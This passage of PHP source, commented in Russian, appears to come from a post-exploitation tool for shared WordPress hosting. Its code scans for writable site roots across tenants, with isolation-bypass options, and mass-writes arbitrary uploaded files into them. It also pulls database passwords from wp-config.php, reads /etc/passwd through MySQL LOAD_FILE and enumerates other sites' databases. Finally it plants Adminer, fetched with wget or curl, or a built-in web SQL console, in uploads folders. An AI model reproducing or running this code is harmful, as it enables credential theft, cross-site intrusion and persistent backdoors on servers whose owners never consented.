        'disabled'=>ini_get('disable_functions')?ini_get('disable_functions'):'',
        'fpm_pools'=>array(),
        'document_root'=>isset($_SERVER['DOCUMENT_ROOT'])?$_SERVER['DOCUMENT_ROOT']:'',
        'script'=>isset($_SERVER['SCRIPT_FILENAME'])?$_SERVER['SCRIPT_FILENAME']:__FILE__,
        'ids'=>$ids
    );
    $g=glob('/etc/php/*/fpm/pool.d/*.conf'); if(!$g)$g=array();
    foreach($g as $pool){
        $c=safe_file_get($pool); if(!$c) continue;
        $parts=explode('/',$pool); $ver=isset($parts[3])?$parts[3]:'unknown';
        $ob=''; if(preg_match('/php_admin_value\[\s*open_basedir\s*\]\s*=\s*([^\r\n]+)/i',$c,$m)) $ob=trim($m[1]);
        $ch=''; if(preg_match('/^chdir\s*=\s*([^\r\n]+)/mi',$c,$m2)) $ch=trim($m2[1]);
        $info['fpm_pools'][]=array('version'=>$ver,'pool'=>basename($pool),'chdir'=>$ch,'open_basedir'=>$ob);
    }
    return $info;
}

/* Report builder (role-aware writable filter) */
function build_report($q,$wp_only,$writable_only,$limit,$find_opts,$writable_mode){
    $domains=get_domains(); if($q!==''){ $q2=$q; $domains=array_values(array_filter($domains,function($d)use($q2){return stripos($d,$q2)!==false;})); }
    $report=array('php'=>php_env_info(),'domains'=>array(),'totals'=>array('domains'=>count($domains),'paths'=>0,'writable_paths'=>0,'wp_roots'=>0),'time'=>date('c'),'scan_opts'=>$find_opts + array('writable_mode'=>$writable_mode));
    $paths_total=0; $w_total=0; $wp_total=0;
    foreach($domains as $i=>$domain){
        if($i>=$limit) break;
        $paths=find_domain_paths($domain,$find_opts);
        $targets=$paths['all']; if($wp_only)$targets=array_values(array_filter($targets,'is_wp_root'));
        $entries=array();
        foreach($targets as $p){
            $acc=access_info($p);
            $writable_effective = is_writable($p);
            $writable_any = ($acc['u']['w']||$acc['g']['w']||$acc['o']['w']) && ($acc['u']['x']||$acc['g']['x']||$acc['o']['x']);
            $writable_world = ($acc['o']['w'] && $acc['o']['x']);
            $writable_group = ($acc['g']['w'] && $acc['g']['x']);

            $include = true;
            if ($writable_only) {
                if ($writable_mode==='effective') $include = $writable_effective;
                elseif ($writable_mode==='world') $include = $writable_world;
                elseif ($writable_mode==='group') $include = $writable_group;
                elseif ($writable_mode==='any')   $include = $writable_any;
                else $include = $writable_effective;
            }
            if (!$include) continue;

            $is_wp=is_wp_root($p); $wp_ver=$is_wp?wp_version($p):''; $ms=$is_wp?wp_multisite_flags($p):array('multisite'=>false,'subdomain'=>false); $urls=$is_wp?wp_known_urls($p):array(); $hidden=probe_hidden_backup_dirs($p); $ht=htaccess_checks($p); $meta=fs_meta($p);
            $flags = array('is_wp'=>$is_wp,'is_writable'=>$writable_effective,'is_symlink'=>is_link($p));
            $flags = array_merge($flags, $ms);
            
            // Расширенный анализ безопасности
            $security = $is_wp ? security_flags_analysis($p) : array('boundary_info'=>boundary_info_for($p));
            
            $entries[]=array(
                'path'=>$p,
                'source'=>isset($paths['sources'][$p]) ? $paths['sources'][$p] : 'unknown',
                'flags'=>$flags,
                'wp'=>array('version'=>$wp_ver,'urls'=>$urls),
                'hidden'=>$hidden,
                'htaccess'=>$ht,
                'fs'=>array_merge($meta,$acc),
                'boundary'=>boundary_info_for($p),
                'security'=>$security,
                'writable_world'=>$writable_world,
                'writable_group'=>$writable_group,
                'writable_any'=>$writable_any
            );
            if($is_wp)$wp_total++; $paths_total++; if($writable_effective)$w_total++;
        }
        if(!empty($entries)) $report['domains'][]=array('domain'=>$domain,'paths'=>$entries);
    }
    $report['totals']['paths']=$paths_total; $report['totals']['writable_paths']=$w_total; $report['totals']['wp_roots']=$wp_total;
    
    // Расширенный детект пользователей (опционально)
    $detect_users = isset($find_opts['detect_users']) ? (bool)$find_opts['detect_users'] : false;
    if ($detect_users) {
        $users_info = detect_users_extended(2000);
        $report['users_detected'] = $users_info;
    }
    
    return $report;
}

/* Deploy/Delete with CSRF */
function sanitize_filename($name){ $name=basename($name); $name=preg_replace('/[^\w\.\-\@\+\=]+/u','_',$name); return $name?:'marker.txt'; }

// --- robust deploy helpers ---
function _cap_warn(callable $fn, &$warn = null) {
    $warn = null;
    set_error_handler(function($errno, $errstr) use (&$warn) { $warn = $errstr; return true; });
    try { $res = $fn(); }
    finally { restore_error_handler(); }
    return $res;
}

function _sanitize_marker_name($name){
    $name = basename((string)$name);
    // чтобы не было поддиректорий/странных символов
    $name = preg_replace('/[^A-Za-z0-9._-]/', '_', $name);
    if ($name === '' || $name === '.' || $name === '..') $name = 'marker.txt';
    return $name;
}

function _mkdirp($dir, &$msg = ''){
    if (@is_dir($dir)) return true;
    $ok = _cap_warn(function() use ($dir){ return @mkdir($dir, 0755, true); }, $w);
    if (!$ok) { $msg = $w ?: 'mkdir failed'; return false; }
    return true;
}

function _atomic_write($target, $content, $overwrite, &$msg = ''){
    $dir = dirname($target);
    $base = basename($target);

    // если файл уже есть
    if (@file_exists($target)) {
        if (!$overwrite) { $msg = 'exists'; return true; }
        if (!@is_writable($target)) { $msg = 'exists but not writable'; return false; }
    }

    // пишем во временный файл в том же каталоге -> rename (атомарно)
    $rnd = function_exists('random_bytes') ? bin2hex(random_bytes(4)) : substr(md5(uniqid('',true)),0,8);
    $tmp = rtrim($dir,'/')."/._{$base}.tmp.{$rnd}";

    $n = _cap_warn(function() use ($tmp, $content){ return @file_put_contents($tmp, $content, LOCK_EX); }, $w1);
    if ($n === false) { $msg = $w1 ?: 'write tmp failed'; return false; }

    @chmod($tmp, 0644);

    if (@file_exists($target) && $overwrite) @unlink($target);

    $ren = _cap_warn(function() use ($tmp, $target){ return @rename($tmp, $target); }, $w2);
    if ($ren) { $msg = 'written'; return true; }

    // fallback: copy+unlink
    $cop = _cap_warn(function() use ($tmp, $target){ return @copy($tmp, $target); }, $w3);
    @unlink($tmp);
    if ($cop) { $msg = 'written(copy)'; return true; }

    $msg = trim(($w2 ?: 'rename failed') . '; ' . ($w3 ?: 'copy failed'));
    return false;
}

function _deploy_one_root($root, $name, $content, $subdir, $mkdirp, $dry, $overwrite){
    @clearstatcache(true, $root);

    $name = _sanitize_marker_name($name);
    $tries = array();

    $root = rtrim($root,'/');
    if ($subdir !== '') $tries[] = $root.'/'.ltrim($subdir,'/');

    // Fallback-стратегия: очень помогает при "корень writable, но писать надо в uploads"
    $tries[] = $root.'/wp-content/uploads';
    $tries[] = $root.'/wp-content';
    $tries[] = $root;

    // uniq
    $u=array(); $dirs=array();
    foreach ($tries as $d){ $d=rtrim($d,'/'); if($d!=='' && !isset($u[$d])){$u[$d]=1;$dirs[]=$d;} }

    $lastMsg = '';
    foreach ($dirs as $dir){
        if (!@is_dir($dir)) {
            if ($mkdirp && !$dry) {
                $mm=''; if (!_mkdirp($dir, $mm)) { $lastMsg = "mkdir: ".$mm; continue; }
            } else {
                $lastMsg = "missing dir";
                continue;
            }
        }

        if (!$dry && !@is_writable($dir)) { $lastMsg = "dir not writable"; continue; }

        $target = $dir.'/'.$name;

        if ($dry) return array('ok'=>true,'target'=>$target,'msg'=>"dry-run (would write)");

        $m=''; $ok = _atomic_write($target, $content, $overwrite, $m);
        if ($ok) return array('ok'=>true,'target'=>$target,'msg'=>$m);

        $lastMsg = $m;
    }

    return array('ok'=>false,'target'=>($root.'/'.$name),'msg'=>$lastMsg ?: 'failed');
}

// === REPLACE deploy_marker на новую ===
function deploy_marker($roots, $name, $content, $subdir, $mkdir, $dry, $overwrite = false){
    @set_time_limit(0);
    @ignore_user_abort(true);

    $res = array();

    foreach ($roots as $root){
        $r = _deploy_one_root($root, $name, $content, $subdir, $mkdir, $dry, $overwrite);
        $res[] = array(
            'root'=>$root,
            'target'=>$r['target'],
            'ok'=>$r['ok'],
            'dry'=>$dry,
            'msg'=>$r['msg'],
        );
    }
    return $res;
}

// === REPLACE delete_marker на новую (удаляет и из fallback-мест) ===
function delete_marker($roots, $name, $subdir, $dry){
    @set_time_limit(0);
    @ignore_user_abort(true);

    $name = _sanitize_marker_name($name);
    $res = array();

    foreach ($roots as $root){
        $root = rtrim($root,'/');
        $tries = array();
        if ($subdir !== '') $tries[] = $root.'/'.ltrim($subdir,'/').'/'.$name;
        $tries[] = $root.'/wp-content/uploads/'.$name;
        $tries[] = $root.'/wp-content/'.$name;
        $tries[] = $root.'/'.$name;

        $u=array(); $paths=array();
        foreach($tries as $p){ if(!isset($u[$p])){$u[$p]=1;$paths[]=$p;} }

        $ok=false; $msg='';
        foreach ($paths as $t){
            if ($dry) { $ok=true; $msg='dry-run'; break; }
            if (!@file_exists($t)) { $msg='not exists'; continue; }
            $del = _cap_warn(function() use ($t){ return @unlink($t); }, $w);
            if ($del) { $ok=true; $msg='deleted'; break; }
            $msg = $w ?: 'unlink failed';
        }

        $res[] = array('root'=>$root,'target'=>$paths[0],'ok'=>$ok,'dry'=>$dry,'msg'=>$msg);
    }
    return $res;
}

function report_to_targets($report, $writable_only){
    $targets=array();
    foreach ($report['domains'] as $d){
        $dom = $d['domain'];
        foreach ($d['paths'] as $p){
            $root = $p['path'];
            if ($writable_only && !is_writable($root)) continue;
            $targets[] = array('domain'=>$dom, 'root'=>$root);
        }
    }
    return $targets;
}

function csrf_check($token){ return $token && isset($_SESSION[GUARD_NS]['csrf']) && (function_exists('hash_equals')?hash_equals($_SESSION[GUARD_NS]['csrf'],$token):($_SESSION[GUARD_NS]['csrf']===$token)); }

function api_deploy($post,$files){
    if (!csrf_check(isset($post['csrf'])?$post['csrf']:'')) return array('status'=>'error','message'=>'bad csrf');

    $wp_only       = isset($post['only_wp']) ? (bool)$post['only_wp'] : true;
    $writable_only = isset($post['writable_only']) ? (bool)$post['writable_only'] : true;
    $limit         = isset($post['limit']) ? max(1,(int)$post['limit']) : 1000;
    $dry_run       = !empty($post['dry_run']);
    $prefix_domain = !empty($post['prefix_domain']);
    $suffix_domain = !empty($post['suffix_domain']);
    $force_write   = !empty($post['force_write']);
    $overwrite_marker = !empty($post['overwrite_marker']);
    $target_sub    = isset($post['target_sub']) ? trim($post['target_sub']) : '';
    $create_sub    = !empty($post['create_subdirs']);
    $blind_mode    = !empty($post['blind']);
    $writable_mode = isset($post['writable_mode']) ? $post['writable_mode'] : 'effective';

    $find_opts = array(
        'aggr'           => !empty($post['deploy_aggr']),
        'use_templates'  => !empty($post['deploy_brute']) || !empty($post['scan_brute']),
        'templates_mode' => isset($post['brute_mode']) ? $post['brute_mode'] : 'append',
        'templates_text' => isset($post['templates']) ? $post['templates'] : '',
        'use_defaults'   => isset($post['use_defaults']) ? (bool)$post['use_defaults'] : true,
        'client_min'     => isset($post['client_min']) ? (int)$post['client_min'] : 1,
        'client_max'     => isset($post['client_max']) ? (int)$post['client_max'] : 50,
        'web_min'        => isset($post['web_min']) ? (int)$post['web_min'] : 1,
        'web_max'        => isset($post['web_max']) ? (int)$post['web_max'] : 50,
        'cand_limit'     => isset($post['cand_limit']) ? (int)$post['cand_limit'] : 3500,
        'users_mode'     => isset($post['users_mode']) ? $post['users_mode'] : 'append',
        'users_custom'   => isset($post['users_custom']) ? $post['users_custom'] : '',
        'use_docroots'   => isset($post['use_docroots']) ? (bool)$post['use_docroots'] : true,
        'docroots_deep'  => !empty($post['docroots_deep']),
        'env_list'       => isset($post['env_list']) ? $post['env_list'] : '',
        'global_sweeps'  => !empty($post['global_sweeps']),
        'wp_only'        => $wp_only,
        'writable_only'  => false,
    );

    $data=null; $name=null;
    if (!empty($files['marker']) && $files['marker']['error']===UPLOAD_ERR_OK) {
        $data=@file_get_contents($files['marker']['tmp_name']);
        $name=$files['marker']['name'];
    } elseif (isset($post['marker_text'])) {
        $data=(string)$post['marker_text'];
        $data=str_replace(array('%time%'), array(date('c')), $data);
        $name = isset($post['target_name']) ? $post['target_name'] : ('pt_marker_'.date('Ymd_His').'.txt');
    } else {
        return array('status'=>'error','message'=>'Provide "marker" file or "marker_text"');
    }
    $name = sanitize_filename(isset($post['target_name']) ? $post['target_name'] : $name);

    if ($blind_mode) {
        $blind_opts = array('wp_only'=>$wp_only,'writable_only'=>false,'docroots_deep'=>!empty($post['docroots_deep']),'blind_cap'=>isset($post['blind_cap'])?(int)$post['blind_cap']:8000,'bypass_isolation'=>!empty($post['bypass_isolation']),'bypass_extended'=>!empty($post['bypass_extended']));
        $report = blind_scan($blind_opts);
    } else {
        $report = build_report('', $wp_only, false, $limit, $find_opts, $writable_mode);
    }
    $targets = report_to_targets($report, $writable_only && !$force_write);

    $written=0; $results=array();
    foreach ($targets as $t) {
        $domain=$t['domain']; $root=$t['root'];
        $file = $name;
        if ($prefix_domain && $domain && $domain!=='(unknown)') $file = $domain.'_'.$file;
        if ($suffix_domain && $domain && $domain!=='(unknown)') {
            $dot=strrpos($file,'.'); $file = $dot!==false ? (substr($file,0,$dot).'_'.$domain.substr($file,$dot)) : ($file.'_'.$domain);
        }
        
        $payload = $data;
        $payload = str_replace(array('%domain%','%path%','%time%'), array($domain,$root,date('c')), $payload);
        
        // Используем новую надежную функцию deploy_marker с fallback стратегией
        $deploy_result = _deploy_one_root($root, $file, $payload, $target_sub, $create_sub, $dry_run, $overwrite_marker);
        
        $results[] = array(
            'domain'=>$domain,
            'path'=>$root,
            'file'=>$deploy_result['target'],
            'status'=>$deploy_result['ok'] ? ($dry_run ? 'dry_run' : $deploy_result['msg']) : 'failed: '.$deploy_result['msg']
        );
        
        if ($deploy_result['ok'] && !$dry_run) $written++;
    }
    return array('status'=>'ok','written'=>$written,'results'=>$results,'mode'=>$blind_mode?'blind':'domains','find_opts'=>$find_opts);
}

function api_delete($post){
    if (!csrf_check(isset($post['csrf'])?$post['csrf']:'')) return array('status'=>'error','message'=>'bad csrf');
    $target = sanitize_filename(isset($post['target_name']) ? $post['target_name'] : '');
    if ($target==='') return array('status'=>'error','message'=>'target_name required');
    $wp_only = isset($post['only_wp']) ? (bool)$post['only_wp'] : true;
    $limit   = isset($post['limit']) ? max(1,(int)$post['limit']) : 1000;
    $target_sub = isset($post['target_sub']) ? trim($post['target_sub']) : '';
    $blind_mode = !empty($post['blind']);
    $writable_mode = isset($post['writable_mode']) ? $post['writable_mode'] : 'effective';

    $find_opts = array(
        'aggr'           => !empty($post['scan_aggr']),
        'use_templates'  => !empty($post['scan_brute']) || !empty($post['deploy_brute']),
        'templates_mode' => isset($post['brute_mode']) ? $post['brute_mode'] : 'append',
        'templates_text' => isset($post['templates']) ? $post['templates'] : '',
        'use_defaults'   => isset($post['use_defaults']) ? (bool)$post['use_defaults'] : true,
        'client_min'     => isset($post['client_min']) ? (int)$post['client_min'] : 1,
        'client_max'     => isset($post['client_max']) ? (int)$post['client_max'] : 50,
        'web_min'        => isset($post['web_min']) ? (int)$post['web_min'] : 1,
        'web_max'        => isset($post['web_max']) ? (int)$post['web_max'] : 50,
        'cand_limit'     => isset($post['cand_limit']) ? (int)$post['cand_limit'] : 3500,
        'users_mode'     => isset($post['users_mode']) ? $post['users_mode'] : 'append',
        'users_custom'   => isset($post['users_custom']) ? $post['users_custom'] : '',
        'use_docroots'   => isset($post['use_docroots']) ? (bool)$post['use_docroots'] : true,
        'docroots_deep'  => !empty($post['docroots_deep']),
        'env_list'       => isset($post['env_list']) ? $post['env_list'] : '',
        'global_sweeps'  => !empty($post['global_sweeps']),
    );

    if ($blind_mode) {
        $blind_opts = array('wp_only'=>$wp_only,'writable_only'=>false,'docroots_deep'=>!empty($post['docroots_deep']),'blind_cap'=>isset($post['blind_cap'])?(int)$post['blind_cap']:8000,'bypass_isolation'=>!empty($post['bypass_isolation']),'bypass_extended'=>!empty($post['bypass_extended']));
        $report = blind_scan($blind_opts);
    } else {
        $report=build_report('', $wp_only, false, $limit, $find_opts, $writable_mode);
    }

    $deleted=0; $results=array();
    foreach ($report['domains'] as $d) {
        $domain=$d['domain'];
        foreach ($d['paths'] as $pinfo) {
            $root=$pinfo['path'];
            $dir = $root;
            if ($target_sub!=='') $dir .= '/'.ltrim($target_sub,'/');
            $f = rtrim($dir,'/').'/'.$target;
            if (is_file($f)) { $ok=@unlink($f); $results[]=array('domain'=>$domain,'path'=>$root,'file'=>$f,'status'=>$ok?'deleted':'failed'); if($ok)$deleted++; }
            else { $results[]=array('domain'=>$domain,'path'=>$root,'file'=>$f,'status'=>'absent'); }
        }
    }
    return array('status'=>'ok','deleted'=>$deleted,'results'=>$results,'mode'=>$blind_mode?'blind':'domains','find_opts'=>$find_opts);
}

/* ==================== МОДУЛЬ РАБОТЫ С БАЗАМИ ДАННЫХ ==================== */

/**
 * Получение URL сайта из пути к корню
 */
function get_site_url_from_path($wp_root) {
    $urls = wp_known_urls($wp_root);
    if (!empty($urls)) {
        return rtrim($urls[0], '/');
    }
    
    // Fallback: пытаемся определить из DOCUMENT_ROOT
    $docroot = isset($_SERVER['DOCUMENT_ROOT']) ? $_SERVER['DOCUMENT_ROOT'] : '';
    $host = isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : '';
    
    if ($docroot && $host && strpos($wp_root, $docroot) === 0) {
        $rel_path = substr($wp_root, strlen($docroot));
        $protocol = (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off') ? 'https' : 'http';
        return $protocol . '://' . $host . $rel_path;
    }
    
    return '';
}

/**
 * Автоматическое обнаружение и подключение к MySQL через wp-config.php
 */
function db_discovery_and_exploit($wp_root) {
    $results = array(
        'wp_config_found' => false,
        'db_credentials' => array(),
        'connection_test' => null,
        'databases' => array(),
        'tables' => array(),
        'privileges' => array(),
        'exploits' => array(),
        'other_sites' => array()
    );
    
    $wp_config = $wp_root . '/wp-config.php';
    if (!@is_readable($wp_config)) {
        return $results;
    }
    
    $results['wp_config_found'] = true;
    $content = @file_get_contents($wp_config);
    
    // Парсинг wp-config.php
    $patterns = array(
        'DB_NAME' => "/define\\s*\\(\\s*['\"]DB_NAME['\"]\\s*,\\s*['\"]([^'\"]+)['\"]\\s*\\)/i",
        'DB_USER' => "/define\\s*\\(\\s*['\"]DB_USER['\"]\\s*,\\s*['\"]([^'\"]+)['\"]\\s*\\)/i",
        'DB_PASSWORD' => "/define\\s*\\(\\s*['\"]DB_PASSWORD['\"]\\s*,\\s*['\"]([^'\"]*)['\"]\\s*\\)/i",
        'DB_HOST' => "/define\\s*\\(\\s*['\"]DB_HOST['\"]\\s*,\\s*['\"]([^'\"]+)['\"]\\s*\\)/i",
        'table_prefix' => "/\\$table_prefix\\s*=\\s*['\"]([^'\"]+)['\"]\\s*;/i"
    );
    
    foreach ($patterns as $key => $pattern) {
        if (preg_match($pattern, $content, $matches)) {
            $results['db_credentials'][$key] = $matches[1];
        }
    }
    
    // Если нашли данные для подключения - тестируем соединение
    if (!empty($results['db_credentials']['DB_NAME']) && 
        !empty($results['db_credentials']['DB_USER'])) {
        
        $host = isset($results['db_credentials']['DB_HOST']) ? $results['db_credentials']['DB_HOST'] : 'localhost';
        $user = $results['db_credentials']['DB_USER'];
        $pass = isset($results['db_credentials']['DB_PASSWORD']) ? $results['db_credentials']['DB_PASSWORD'] : '';
        $dbname = $results['db_credentials']['DB_NAME'];
        
        // Попытка подключения через MySQLi
        if (class_exists('mysqli')) {
            // Отключаем выброс исключений mysqli
            mysqli_report(MYSQLI_REPORT_OFF);
            try {
            $mysqli = @new mysqli($host, $user, $pass, $dbname);
            } catch (Exception $e) {
                $results['connection_test'] = array('success' => false, 'error' => $e->getMessage());
                return $results;
            } catch (Error $e) {
                $results['connection_test'] = array('success' => false, 'error' => $e->getMessage());
                return $results;
            }
            
            if ($mysqli && !$mysqli->connect_error) {
                $results['connection_test'] = array(
                    'success' => true,
                    'server_version' => $mysqli->server_version,
                    'host_info' => $mysqli->host_info,
                    'server_info' => $mysqli->server_info
                );
                
                // Получение списка баз данных (если есть привилегия)
                $databases = array();
                $res = @$mysqli->query("SHOW DATABASES");
                if ($res) {
                    while ($row = $res->fetch_array()) {
                        $databases[] = $row[0];
                    }
                    $res->free();
                }
                $results['databases'] = $databases;
                
                // Проверка привилегий
                $res = @$mysqli->query("SHOW GRANTS FOR CURRENT_USER()");
                if ($res) {
                    while ($row = $res->fetch_array()) {
                        $results['privileges'][] = $row[0];
                    }
                    $res->free();
                }
                
                // Проверка FILE привилегии (самая опасная)
                $has_file_priv = false;
                foreach ($results['privileges'] as $grant) {
                    if (stripos($grant, 'FILE') !== false || stripos($grant, 'ALL PRIVILEGES') !== false) {
                        $has_file_priv = true;
                        break;
                    }
                }
                
                $results['exploits']['has_file_privilege'] = $has_file_priv;
                
                // Если есть FILE привилегия - можем читать файлы
                if ($has_file_priv) {
                    $test_files = array('/etc/passwd', '/etc/hosts', '/etc/resolv.conf');
                    foreach ($test_files as $test_file) {
                        $res = @$mysqli->query("SELECT LOAD_FILE('" . $mysqli->real_escape_string($test_file) . "') as content");
                        if ($res && $row = $res->fetch_assoc()) {
                            if (!empty($row['content'])) {
                                $results['exploits']['file_read_test'][] = array(
                                    'file' => $test_file,
                                    'success' => true,
                                    'preview' => substr($row['content'], 0, 500)
                                );
                            }
                        }
                    }
                }
                
                // Проверка возможности записи через INTO OUTFILE
                $results['exploits']['can_write_outfile'] = false;
                try {
                $test_write_path = '/tmp/mysql_write_test_' . uniqid() . '.txt';
                $write_query = "SELECT 'test' INTO OUTFILE '" . $mysqli->real_escape_string($test_write_path) . "'";
                if (@$mysqli->query($write_query)) {
                    $results['exploits']['can_write_outfile'] = true;
                    @unlink($test_write_path);
                    }
                } catch (Exception $e) {
                    // INTO OUTFILE не поддерживается или запрещен
                } catch (Error $e) {
                    // INTO OUTFILE не поддерживается или запрещен
                }
                
                // Поиск других WordPress сайтов в доступных БД
                foreach ($databases as $db) {
                    if (in_array($db, array('mysql', 'information_schema', 'performance_schema', 'sys'))) {
                        continue;
                    }
                    
                    @$mysqli->select_db($db);
                    $res = @$mysqli->query("SHOW TABLES");
                    if ($res) {
                        $tables = array();
                        while ($row = $res->fetch_array()) {
                            $tables[] = $row[0];
                        }
                        
                        // Ищем таблицы WordPress
                        $wp_tables = array_filter($tables, function($table) {
                            return preg_match('/^[a-z0-9]+_options$/i', $table) ||
                                   preg_match('/^[a-z0-9]+_users$/i', $table) ||
                                   preg_match('/^[a-z0-9]+_posts$/i', $table);
                        });
                        
                        if (!empty($wp_tables)) {
                            // Попытка извлечь siteurl и домен
                            $options_table = '';
                            foreach ($tables as $t) {
                                if (preg_match('/^([a-z0-9]+_)?options$/i', $t)) {
                                    $options_table = $t;
                                    break;
                                }
                            }
                            
                            $site_info = array(
                                'database' => $db,
                                'tables_count' => count($tables),
                                'wp_tables' => array_values($wp_tables),
                                'is_wordpress' => true,
                                'siteurl' => '',
                                'home' => ''
                            );
                            
                            if ($options_table) {
                                $opt_res = @$mysqli->query("SELECT option_name, option_value FROM `{$options_table}` WHERE option_name IN ('siteurl', 'home') LIMIT 2");
                                if ($opt_res) {
                                    while ($opt_row = $opt_res->fetch_assoc()) {
                                        $site_info[$opt_row['option_name']] = $opt_row['option_value'];
                                    }
                                }
                            }
                            
                            $results['other_sites'][] = $site_info;
                        }
                        $res->free();
                    }
                }
                
                // Возврат к исходной базе
                @$mysqli->select_db($dbname);
                
                // Получение таблиц текущей базы
                $res = @$mysqli->query("SHOW TABLES");
                if ($res) {
                    while ($row = $res->fetch_array()) {
                        $results['tables'][] = $row[0];
                    }
                    $res->free();
                }
                
                $mysqli->close();
            } else {
                $results['connection_test'] = array(
                    'success' => false,
                    'error' => $mysqli->connect_error,
                    'errno' => $mysqli->connect_errno
                );
            }
        } else {
            $results['connection_test'] = array(
                'success' => false,
                'error' => 'mysqli extension not available'
            );
        }
    }
    
    return $results;
}

/**
 * Автоматическая установка Adminer
 */
function deploy_adminer($target_path, $custom_name = 'dbadmin.php') {
    $results = array(
        'success' => false,
        'path' => '',
        'url' => '',
        'message' => ''
    );
    
    // Проверяем, доступна ли директория для записи
    $uploads_dir = $target_path . '/wp-content/uploads';
    $content_dir = $target_path . '/wp-content';
    
    $target_dir = @is_writable($uploads_dir) ? $uploads_dir : 
                  (@is_writable($content_dir) ? $content_dir : 
                  (@is_writable($target_path) ? $target_path : ''));
    
    if (!$target_dir) {
        $results['message'] = 'Нет прав на запись в целевую директорию';
        return $results;
    }
    
    $adminer_path = $target_dir . '/' . $custom_name;
    
    // Попытка скачать оригинальный Adminer с официального сайта
    $adminer_urls = array(
        'https://www.adminer.org/latest.php',
        'https://www.adminer.org/latest-mysql.php',
        'https://github.com/vrana/adminer/releases/download/v4.8.1/adminer-4.8.1.php'
    );
    
    $adminer_code = null;
    $download_method = null;
    
    // Метод 1: shell_exec wget
    if (!$adminer_code && function_exists('shell_exec') && !in_array('shell_exec', array_map('trim', explode(',', ini_get('disable_functions'))))) {
        foreach ($adminer_urls as $url) {
            $tmp_file = $target_dir . '/adminer_tmp_' . uniqid() . '.php';
            @shell_exec('wget -q -O ' . escapeshellarg($tmp_file) . ' ' . escapeshellarg($url) . ' 2>/dev/null');
            if (@file_exists($tmp_file) && @filesize($tmp_file) > 50000) {
                $adminer_code = @file_get_contents($tmp_file);
                @unlink($tmp_file);
                $download_method = 'wget';
                $results['download_url'] = $url;
                break;
            }
            @unlink($tmp_file);
        }
    }
    
    // Метод 2: shell_exec curl
    if (!$adminer_code && function_exists('shell_exec') && !in_array('shell_exec', array_map('trim', explode(',', ini_get('disable_functions'))))) {
        foreach ($adminer_urls as $url) {
            $tmp_file = $target_dir . '/adminer_tmp_' . uniqid() . '.php';
            @shell_exec('curl -s -o ' . escapeshellarg($tmp_file) . ' ' . escapeshellarg($url) . ' 2>/dev/null');
            if (@file_exists($tmp_file) && @filesize($tmp_file) > 50000) {
                $adminer_code = @file_get_contents($tmp_file);
                @unlink($tmp_file);
                $download_method = 'curl';
                $results['download_url'] = $url;
                break;
            }
            @unlink($tmp_file);
        }
    }
    
    // Метод 3: file_get_contents
    if (!$adminer_code && ini_get('allow_url_fopen')) {
        $ctx = stream_context_create(array(
            'http' => array('timeout' => 30, 'user_agent' => 'Mozilla/5.0'),
            'ssl' => array('verify_peer' => false, 'verify_peer_name' => false)
        ));
        foreach ($adminer_urls as $url) {
            $content = @file_get_contents($url, false, $ctx);
            if ($content && strlen($content) > 50000) {
                $adminer_code = $content;
                $download_method = 'file_get_contents';
                $results['download_url'] = $url;
                break;
            }
        }
    }
    
    // Метод 4: cURL extension
    if (!$adminer_code && function_exists('curl_init')) {
        foreach ($adminer_urls as $url) {
            $ch = curl_init($url);
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
            curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
            curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
            curl_setopt($ch, CURLOPT_TIMEOUT, 30);
            curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0');
            $content = curl_exec($ch);
            curl_close($ch);
            if ($content && strlen($content) > 50000) {
                $adminer_code = $content;
                $download_method = 'curl_extension';
                $results['download_url'] = $url;
                break;
            }
        }
    }
    
    // Fallback: встроенный минимальный интерфейс
    if (!$adminer_code) {
        $download_method = 'builtin_fallback';
        $results['warning'] = 'Не удалось скачать Adminer. Используется встроенный минимальный интерфейс.';
        
        $adminer_code = '<?php
// Minimal DB Admin Interface - Fallback
error_reporting(0);
if(isset($_POST["db"])){$link=@mysqli_connect($_POST["host"]?:"localhost",$_POST["user"],$_POST["pass"],$_POST["db"]);
if($link){echo"<div style=background:#1a1a2e;color:#eee;padding:20px;font-family:monospace>";
if($_POST["query"]){$r=mysqli_query($link,$_POST["query"]);if($r&&is_object($r)){echo"<table border=1 style=border-collapse:collapse>";
while($row=mysqli_fetch_assoc($r)){echo"<tr>";foreach($row as $v)echo"<td style=padding:5px>".htmlspecialchars(substr($v,0,200))."</td>";echo"</tr>";}echo"</table>";}
elseif($r)echo"<p style=color:#0f0>OK: ".mysqli_affected_rows($link)."</p>";else echo"<p style=color:#f00>".mysqli_error($link)."</p>";}
echo"<h4>DBs:</h4><ul>";$dbs=mysqli_query($link,"SHOW DATABASES");while($d=mysqli_fetch_array($dbs))echo"<li>".$d[0]."</li>";echo"</ul>";
echo"<form method=post><input type=hidden name=db value=\"".htmlspecialchars($_POST["db"])."\"><input type=hidden name=user value=\"".htmlspecialchars($_POST["user"])."\">
<input type=hidden name=pass value=\"".htmlspecialchars($_POST["pass"])."\"><input type=hidden name=host value=\"".htmlspecialchars($_POST["host"])."\">
<textarea name=query style=width:100%;height:80px></textarea><br><input type=submit value=Run></form></div>";}else echo"<p style=color:red>".mysqli_connect_error()."</p>";}
else{echo"<!DOCTYPE html><html><body style=background:#0d1117;color:#c9d1d9;font-family:monospace;display:flex;justify-content:center;align-items:center;height:100vh>
<form method=post style=background:#161b22;padding:30px;border-radius:10px><h2>DB Connect</h2>
<input name=host placeholder=Host value=localhost style=width:100%;padding:8px;margin:5px_0;background:#0d1117;color:#fff;border:1px_solid_#30363d><br>
<input name=user placeholder=User style=width:100%;padding:8px;margin:5px_0;background:#0d1117;color:#fff;border:1px_solid_#30363d><br>
<input name=pass type=password placeholder=Pass style=width:100%;padding:8px;margin:5px_0;background:#0d1117;color:#fff;border:1px_solid_#30363d><br>
<input name=db placeholder=Database style=width:100%;padding:8px;margin:5px_0;background:#0d1117;color:#fff;border:1px_solid_#30363d><br>
<button style=width:100%;padding:10px;background:#238636;color:#fff;border:none;cursor:pointer>Connect</button></form></body></html>";}?>';
    }
    
    $results['download_method'] = $download_method;
    
    if (@file_put_contents($adminer_path, $adminer_code)) {
        @chmod($adminer_path, 0644);
        
        $base_url = get_site_url_from_path($target_path);
        $rel_path = substr($target_dir, strlen($target_path));
        
        $results['success'] = true;
        $results['path'] = $adminer_path;
        $results['url'] = $base_url . $rel_path . '/' . $custom_name;
